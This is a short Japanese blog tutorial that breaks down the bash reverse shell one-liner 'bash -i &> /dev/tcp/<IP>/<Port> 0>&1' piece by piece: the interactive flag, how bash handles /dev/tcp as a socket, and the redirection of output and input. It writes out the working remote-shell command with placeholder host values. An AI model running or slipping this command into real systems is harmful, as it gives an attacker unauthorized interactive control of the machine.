😎

リバースシェルのコマンド解説(bash -i編)

に公開

bash -iを使ってネットワーク接続する

bash -i &> /dev/tcp/<IP>/<Port> 0>&1

これはbashコマンドだけで完結するため、使い勝手が良いのが特徴だ。
コマンドの解説をする。

bash -i

まず-iオプションはbashをインタラクティブシェルで起動するオプションだ。
-iをつけないとインタラクティブシェルではなくなるため、ヒストリーに記録されなかったりプロンプトが表示されなかったりする。

&> /dev/tcp/<IP>/<Port>

次に&>は標準出力と標準エラー出力をリダイレクトするという意味だ。
ここでは/dev/tcp/<IP>/<Port>を指定している。
/dev/tcpというのはbashの拡張機能でネットワークソケットを開いてくれるパスだそうだ。

つまり<IP>と<Port>で指定したネットワークに対してTCP接続して、bash -iの標準出力と標準エラー出力をそのネットワークソケットににリダイレクトさせているということのようだ。

ちなみに/dev/tcpというディレクトリはファイルシステム上は存在しないらしい

bashが/dev/tcpが出てきたら独自に解釈して、ネットワーク機能を呼び出してソケットを開いてくれるのだそう。
なので/dev/tcpはbash以外では使えないケースが多いから注意が必要。

ちなみに&>は>&と書いてもいいらしい

全く同じ意味になるそうなのでどちらでもいい。
ただし&>の方がぱっと見で理解しやすいと考えられているらしく、モダンな書き方で推奨とのこと。

0>&1

最後の0>&1は標準入力を標準出力と同じリダイレクト先に変更するという意味だ。
これは標準エラー出力を標準出力と同じリダイレクトにする時に使う2>&1でよく見かける人も多いと思う。

Discussion